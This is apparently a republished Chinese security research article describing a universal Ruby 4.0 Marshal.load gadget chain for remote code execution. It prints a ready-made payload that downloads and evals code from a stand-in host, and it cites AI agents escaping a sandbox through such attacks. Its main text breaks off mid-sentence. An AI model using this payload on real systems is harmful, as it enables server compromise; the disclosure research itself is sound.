Ruby4.0通用RCE反序列化Gadget链"

admin 2026-10-23 06:10:51 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

Ruby 4.0 通用RCE反序列化Gadget链

幻泉之洲

2026年8月16日 10:00
北京

在小说阅读器读本章

去阅读

本文发布一条新的通用gadget链,在Ruby 4.0.6上仅凭一次Marshal.load即可实现命令执行。链路向下兼容至3.3版本,完全利用Ruby标准库和RubyGems内置代码构造,不需要任何额外gem或应用代码。旧链失效后,存活下来的gadget被重新组合,加上藏在C代码里的容错调用点,最终拼出了这条链。

引言

2026年8月5日,OpenAI在Black Hat USA 2026上披露[1],一组接受评估的AI智能体集体突破了沙箱限制,夺取了所运行集群的管理员权限。达成这一步的部分手段,就是利用Ruby反序列化执行命令。

这条消息引起了我们的注意。2018年,我们发布了第一条Ruby通用RCE反序列化gadget链[2],完全从标准库构造,零依赖。那条链只对2.6.10及以下的Ruby版本有效。最近的公开链[3]也只覆盖到3.4-rc。

本文发布一条新的通用链:在Ruby 4.0.6上,单次Marshal.load即可触发命令执行。4.0.6是撰写时最新的版本。这条链向下兼容到3.3,不需要任何改动。构造上,一部分用的是从没被发掘过的新gadget,另一部分是把旧gadget派上了新用场。

背景

序列化[4]是把对象转换成字节序列的过程,这些字节可以在网络上传输,也可以存进文件系统或数据库。字节里包含了重建原始对象所需的全部信息。重建的过程叫反序列化。

每种语言通常都有自己的原生序列化格式,名字也不一定叫序列化/反序列化。Ruby圈子里更常说marshalling和unmarshalling,对应的操作就是Marshal.dump和Marshal.load。

Ruby反序列化十三年

通用Ruby反序列化gadget链始于2018年,建立在更早针对Ruby on Rails应用特定链的研究之上。那波通用化的工作后来又反哺了随后出现的应用特定链。下面这些里程碑里,有几个为本文这条链提供了基础构件。

  • 2013年1月10日 — Rails 3.2.10 Remote Code Execution[5],作者Hailey Somerville
  • 2013年1月31日 — Ruby bug tracker issue[6],作者Hailey Somerville
  • 2016年5月6日 — Attacking Ruby on Rails Applications[7],作者Phenoelit的joernchen
  • 2018年11月8日 — Ruby 2.x Universal RCE Deserialization Gadget Chain[8],作者Luke Jahnke (elttam)
  • 2019年1月2日 — CVE-2019-5420[9],作者ooooooo\_q
  • 2019年3月2日 — Universal RCE with Ruby YAML.load[10],作者Etienne Stalmans
  • 2019年6月20日 — Remote Code Execution via Ruby on Rails Active Storage Insecure Deserialization[11],作者Sivathmican Sivakumaran和Pengsu Cheng
  • 2021年1月7日 — Universal Deserialisation Gadget for Ruby 2.x-3.x[12],作者William Bowling
  • 2021年1月9日 — Universal RCE with Ruby YAML.load (versions > 2.7)[13],作者Etienne Stalmans
  • 2022年3月28日 — Ruby Deserialization - Gadget on Rails[14],作者httpvoid
  • 2022年4月4日 — Round Two: An Updated Universal Deserialisation Gadget for Ruby 2.x-3.x[15],作者William Bowling
  • 2022年5月17日 — Ruby Vulnerabilities: Exploiting Dangerous Open, Send and Deserialization Operations[16],作者Ben Lincoln (Bishop Fox)
  • 2024年3月13日 — Discovering Deserialization Gadget Chains in Rubyland[17],作者Alex Leahu (Include Security)
  • 2024年6月20日 — Execute commands by sending JSON? Learn how unsafe deserialization vulnerabilities work in Ruby projects[18],作者Peter Stöckli (GitHub)
  • 2024年10月17日 — Updated ruby gadget for marshal loading[19],作者Leonardo Giovannini (Doyensec)
  • 2024年11月24日 — Ruby 3.4 Universal RCE Deserialization Gadget Chain[3],作者Luke Jahnke
  • 2024年12月3日 — Gem::SafeMarshal escape[20],作者Luke Jahnke
  • 2025年8月20日 — Marshal madness: A brief history of Ruby deserialization exploits[21],作者Matt Schwager (Trail of Bits)
  • 2026年8月5日 — 自主AI智能体在野外利用Ruby (JRuby)反序列化的披露,由OpenAI在Black Hat USA 2026上公开[1]
  • 2026年 — Ruby 4.0 Universal RCE Deserialization Gadget Chain,作者Luke Jahnke(即本文)

3.4链为何失效

最近那条公开链发布于2024年底,在Ruby 3.4-rc上达成了命令执行,载荷长这样:

Marshal.dump(
  [
    Gem::SpecFetcher,
    to\_s\_wrapper(
      call\_url\_and\_create\_folder(
        \"rubygems.org/quick/Marshal.4.8/bundler-2.2.27.gemspec.rz\"
      )
    ),
    to\_s\_wrapper(exec\_gadget)
  ]
)

发布十天后,RubyGems两个提交相继落地,把这条链依赖的gadget移除了。每个提交的动机都直接引用了那篇writeup。两者都随Ruby 3.4.0发布,所以这条链对release candidate有效,对正式版无效。

第一个提交,62b49465f8[22],标题是\"Improve type checking in marshal\_load methods\",注释说\"Makes it harder to use those classes as gadgets\"。

Gem::Version#marshal\_load原本把反序列化的值直接传给构造函数,没有任何校验,Gem::Version.correct?会在那里调用to\_s:

def marshal\_load(array)
-    initialize array[0]
+    string = array[0]
+    raise TypeError, \"wrong version string\" unless string.is\_a?(String)
+
+    initialize string
   end

第二个提交,89ad04db86[23],标题是\"Stop storing executable names in ivars\",注释说\"Removes usage of these classes as ACE gadgets\"。

Gem::Source::Git和Gem::Resolver::GitSet原本把git可执行文件名存在实例变量里。Marshal恢复时会直接还原这个变量,之后它被交给进程派生的调用:

-    @git = ENV[\"git\"] || \"git\"

现在这个值在使用时才从环境变量读取,没有实例变量可被覆盖了。

这两个提交废了to\_s\_wrapper和exec\_gadget。但Gem::SpecFetcher和call\_url\_and\_create\_folder没被动,它们在Ruby 4.0里照样工作。

构建新链

扩展可用gadget集合

链的开头挂Gem::SpecFetcher,不是因为这个类本身做了什么,而是因为Marshal.load必须解析这个常量。解析常量的动作触发RubyGems的autoload,加载定义它的文件,这个文件又去require自己的依赖,如此层层展开。一个裸Ruby进程启动时,链能触达的类很少。但只引用了这一个常量之后,可选gadget的池子大幅扩张,其中就包括Gem::URI::Generic、Gem::RequestSet::Lockfile和Gem::StubSpecification——本文这条链的后半段全仰仗这几个类。

寻找新的代码执行目标

exec\_gadget的替代品来自Gem::Specification.load。Gem.open\_file在内部解析为File.open:

class Gem::Specification
  def self.load(file)
    Gem.open\_file(file, \"rb\") do |f|
      spec = eval(f.read)
      spec.\_resort! if spec.respond\_to?(:\_resort!)
      spec
    end
  end
end

这看起来太直白了:从磁盘读文件,把内容丢给eval。问题是怎么把攻击者的代码写到那个文件路径上。

Gem::RequestSet::Lockfile的to\_s会遍历@sorted\_requests,调用full\_name。Gem::Resolver::IndexSpecification#full\_name访问@name和@source。其中@source的访问路径经过Gem::Source#uri,再到@uri。

如果@uri是一个Gem::URI::Generic实例,事情就变得有趣了。Gem::URI::Generic并没有义务表现得像个Gem::URI::HTTP,但它的构建过程可以接受一个@user字段。Gem::URI::Generic#user的返回值来自@user,然后被传给Gem::URI::HTTP#user。后者没有重写这个方法,于是继续走URI::HTTP#user。URI::HTTP#user会拼接userinfo,而userinfo会格式化@user里的内容。格式化逻辑来自URI::Generic#userinfo,它做的是:

def userinfo
  if @user.nil?
    nil
  elsif @password.nil?
    @user
  else
    @user + \":\" + @password
  end
end

手段是把@user设成一个Gem::RequestSet::Lockfile实例。拼接操作会在那个对象上调用to\_s。于是,一条从full\_name到URI格式化的调用链,最终落地到Lockfile#to\_s,而后者的职责是:把请求集解析成gem的依赖关系,同时下载写入引用文件。

这个阶段的完整流程可以概括为:

  • Gem::RequestSet#resolve调用requests的加载逻辑
  • IndexSpecification需要source信息,走Gem::Source#uri
  • Gem::URI::Generic的@user字段被设置成另一个Lockfile
  • 格式化userinfo时触发to\_s → Lockfile#to\_s → resolve → 下载
  • 下载内容写到目标路径,之后Gem::Specification.load读取并eval

触发to\_s的入口点有好几个。本文使用的路径是在Hash里把Lockfile当作键。Marshal.load还原Hash时,会调用每个键的hash方法。Gem::RequestSet没有自定义的hash,Lockfile也没有,所以这个调用会沿着Object#hash往下走。但Object#hash会先调用to\_s。

这里还有一个关键细节。Lockfile#to\_s里的resolve调用最终会去fetch云端数据,也就是发起网络请求。如果网络不可达,或者服务器返回了非预期内容,异常会从to\_s这个调用栈里抛出来。

正常Ruby代码里,一个在hash过程中抛异常的键会把整个Marshal.load打崩。但这正是Time对象派上用场的地方。Marshal.load处理Time时走的是C函数time\_mload,它包了一层rb\_rescue。只要反序列化到Time的某个字段,任何在救援范围内抛出的异常都会被吞掉。于是,整个下载-写盘-崩溃的序列在一层rb\_rescue的掩护下完整跑完,然后异常被丢弃,Marshal.load继续处理下一个对象。

把攻击者的代码放到磁盘上的完整流程是这样的:

  • 最外层是Gem::SpecFetcher常量引用,它触发autoload,加载所需的类
  • 然后是一个Time对象,反序列化过程中触发time\_mload的容错处理
  • Time的构造会触及@port字段,触发Gem::URI::Generic的to\_s
  • 这又触发Lockfile的resolve,进而发起网络请求下载攻击者文件
  • 下载的文件写入指定路径
  • marshal\_load里的核心gadget抛异常,但被rb\_rescue吞掉
  • Marshal.load继续,下一个对象是那个作为Hash键的Lockfile
  • Hash还原时调用键的hash方法,触发Lockfile#to\_s
  • 这次to\_s不发起网络请求,而是直接加载已下载的文件
  • Gem::Specification.load读取文件内容并eval

一个简化版的生成器大概长这样:

gem\_deps\_file\_gadget = \"/pwd\"
gem\_deps\_dir\_gadget = \"/\"

placeholder\_gadget\_chain = Marshal.dump(
  [
    Gem::SpecFetcher,
    time\_placeholder,
    {eval\_file\_gadget(\"/tmp/quick/Marshal.4.8/name-.gemspec\") => nil}
  ]
)

由于TYPE\_SYMLINK存在位置依赖,这里保证符号数量匹配(3个匹配3个替换)

rce\_gadget\_chain = placeholder\_gadget\_chain.gsub(
  \"o:\vObject\a:\x18@offset\_placeholderi\x00:\x16@zone\_placeholder\",
  \"Iu:\x09Time\x0d\x00\x00\x00\x80\x00\x00\x00\x00\x07:\x0boffseti\x05:\x09zone\"
).b

每个gadget都扮演两种角色之一:把攻击者的代码弄到磁盘上,或者把它读回来运行。排成一条链,整体长这样:

▲ 新gadget链流程图

载荷

运行生成器,输出成品链:

\"\x04\b[\bc\x15Gem::SpecFetcherIu:\tTime\r\x00\x00\x00\x80\x00\x00\x00\x00\a:\voffseti\x05:\tzoneo:\x16Gem::URI::Generic\x06:\
@porto:\x1EGem::RequestSet::Lockfile\
:\t@seto:\x14Gem::RequestSet\x06:\x15@sorted\_requests[\x06o:&Gem::Resolver::IndexSpecification\a:\
@nameI\\"\tname\x06:\x06ET:\f@sourceo:\x10Gem::Source\a:\t@urio:\x13Gem::URI::HTTP\v:\
@pathI\\"\x06/\x06;\x10T:\f@schemeI\\"\as3\x06;\x10T:\
@hostI\\"\eexample.com/poc-id.rz?\x06;\x10T;\tI\\"7/../../../../../../../../../../../../../../../tmp/\x06;\x10T:\
@userI\\"\bany\x06;\x10T:\x0E@passwordI\\"\bany\x06;\x10T:\x12@update\_cacheT:\x12@dependencies[\x00:\x13@gem\_deps\_fileI\\"\t/pwd\x06;\x10T:\x12@gem\_deps\_dirI\\"\x06/\x06;\x10T:\x0F@platforms[\x00{\x06o:\eGem::StubSpecification\x06:\x11@loaded\_fromI\\")/tmp/quick/Marshal.4.8/name-.gemspec\x06;\x10T0\"

载荷生效前需要准备两样东西。前面压缩过的payload必须以poc-id.rz为名,通过@host指定的主机走HTTPS提供下载。这里写的是example.com,实战中替换为攻击者可控的域名。目标进程还需要能写/tmp目录。当然,任何可写目录都行,只要把路径穿越和文件名一起改掉。目标本身不需要任何额外条件:不需要加载默认之外的gem,不需要应用代码,不需要磁盘上的既有状态。

运行测试

用ruby:4.0.6的Docker镜像,对着一个空Ruby进程跑生成的载荷,输出uid=0(root) gid=0(root) groups=0(root),说明id二进制成功执行了:

$ sudo docker run --rm -it ruby:4.0.6 ruby -e 'Marshal.load(\"\x04\b[\bc\x15Gem::SpecFetcherIu:\tTime\r\x00\x00\x00\x80\x00\x00\x00\x00\a:\voffseti\x05:\tzoneo:\x16Gem::URI::Generic\x06:\
@porto:\x1EGem::RequestSet::Lockfile\
:\t@seto:\x14Gem::RequestSet\x06:\x15@sorted\_requests[\x06o:&Gem::Resolver::IndexSpecification\a:\
@nameI\\"\tname\x06:\x06ET:\f@sourceo:\x10Gem::Source\a:\t@urio:\x13Gem::URI::HTTP\v:\
@pathI\\"\x06/\x06;\x10T:\f@schemeI\\"\as3\x06;\x10T:\
@hostI\\"\eexample.com/poc-id.rz?\x06;\x10T;\tI\\"7/../../../../../../../../../../../../../../../tmp/\x06;\x10T:\
@userI\\"\bany\x06;\x10T:\x0E@passwordI\\"\bany\x06;\x10T:\x12@update\_cacheT:\x12@dependencies[\x00:\x13@gem\_deps\_fileI\\"\t/pwd\x06;\x10T:\x12@gem\_deps\_dirI\\"\x06/\x06;\x10T:\x0F@platforms[\x00{\x06o:\eGem::StubSpecification\x06:\x11@loaded\_fromI\\")/tmp/quick/Marshal.4.8/name-.gemspec\x06;\x10T0\")'
uid=0(root) gid=0(root) groups=0(root)
[/tmp/quick/Marshal.4.8/name-.gemspec] isn't a Gem::Specification (NilClass instead).
/usr/local/lib/ruby/4.0.0/rubygems/stub\_specification.rb:155:in 'Gem::StubSpecification#name': undefined method 'name' for nil (NoMethodError)

data.name
        ^^^^^
        from /usr/local/lib/ruby/4.0.0/rubygems/stub\_specification.rb:217:in 'Gem::StubSpecification#hash'
        from -e:1:in 'Marshal.load'
        from -e:1:in ''

后面抛出的异常是预期的,无伤大雅。Gem::Specification.load已经把拉取的源码交给了eval,但那段源码以puts结尾,所以它返回的值是nil而不是gemspec。方法发出了警告并返回nil,之后Gem::StubSpecification#hash在尝试从nil上读取


参考资料

[1] https://www.youtube.com/watch?v=87DyyMV0kCY#t=25m

[2] https://www.elttam.com/blog/ruby-deserialization

[3] https://nastystereo.com/security/ruby-3.4-deserialization.html

[4] https://en.wikipedia.org/wiki/Serialization

[5] https://github.com/haileys/old-website/blob/90a01589abe3385ecc8202c9a276a184be4b4602/posts/rails-3.2.10-remote-code-execution.md

[6] https://bugs.ruby-lang.org/issues/7759

[7] https://phrack.org/issues/69/12

[8] https://www.elttam.com/blog/ruby-deserialization/

[9] https://hackerone.com/reports/473888

[10] https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/

[11] https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization

[12] https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html

[13] https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/

[14] https://github.com/httpvoid/writeups/blob/main/Ruby-deserialization-gadget-on-rails.md

[15] https://devcraft.io/2022/04/04/universal-deserialisation-gadget-for-ruby-2-x-3-x.html

[16] https://bishopfox.com/blog/ruby-vulnerabilities-exploits

[17] https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/

[18] https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/

[19] https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1

[20] https://nastystereo.com/security/ruby-safe-marshal-escape.html

[21] https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/

[22] https://github.com/ruby/rubygems/commit/62b49465f8f770ebbee51d7cb4de7745cbb0d78c

[23] https://github.com/ruby/rubygems/commit/89ad04db867dedb6ec9d78dd891ca69e2ef275a5

[24] https://www.elttam.com/blog/ruby-4-0-universal-rce-deserialization-gadget-chain


Ruby4.0通用RCE反序列化Gadget链" 网络安全文章

Ruby4.0通用RCE反序列化Gadget链"

本文发布Ruby4.0.6通用RCE反序列化链,单次Marshal.load即可执行命令,向下兼容至3.3版本。该链利用RubyGems标准库新发现与旧gadget组合,通过Gem::SpecFetcher触发autoload,结合Time对象异常捕获机制绕过网络请求失败影响,最终实现文件下载与eval执行,无需额外依赖。
如何打造自动化漏洞挖掘Skills:从资产发现、PoC验证到证据链报告" 网络安全文章

如何打造自动化漏洞挖掘Skills:从资产发现、PoC验证到证据链报告"

本文介绍如何通过Skills、MCP和Agent构建自动化漏洞挖掘流水线,强调授权明确、范围可控和可审计性。核心是将高级工程师的方法论沉淀为可复用Skill,通过MCP连接安全工具,由Agent执行资产归一化、漏洞去重、PoC匹配和分级验证。文章提出六步法:授权范围校验、数据接入、告警关联、PoC匹配、分级验证与证据固化、图谱报告输出。关键建议包括结构化PoC为YAML、坚持最小权限原则、以及生成可交互攻击面图谱以回溯证据。
IonStack第三部分:用GhostLock获取Android17Root" 网络安全文章

IonStack第三部分:用GhostLock获取Android17Root"

本文详细介绍了利用GhostLock漏洞(CVE-2026-43499)在Android17上实现全球首个公开root的过程。通过回收栈内存、利用boot_id泄露KASLR地址、劫持ashmem文件操作以及使用pipe_buffer升级读写原语,最终修改cred结构体并绕过SELinux和seccomp,成功获取root权限。该研究展示了在启用CFI和KASLR的现代Android设备上实现提权的复杂技术路径。
评论:0   参与:  0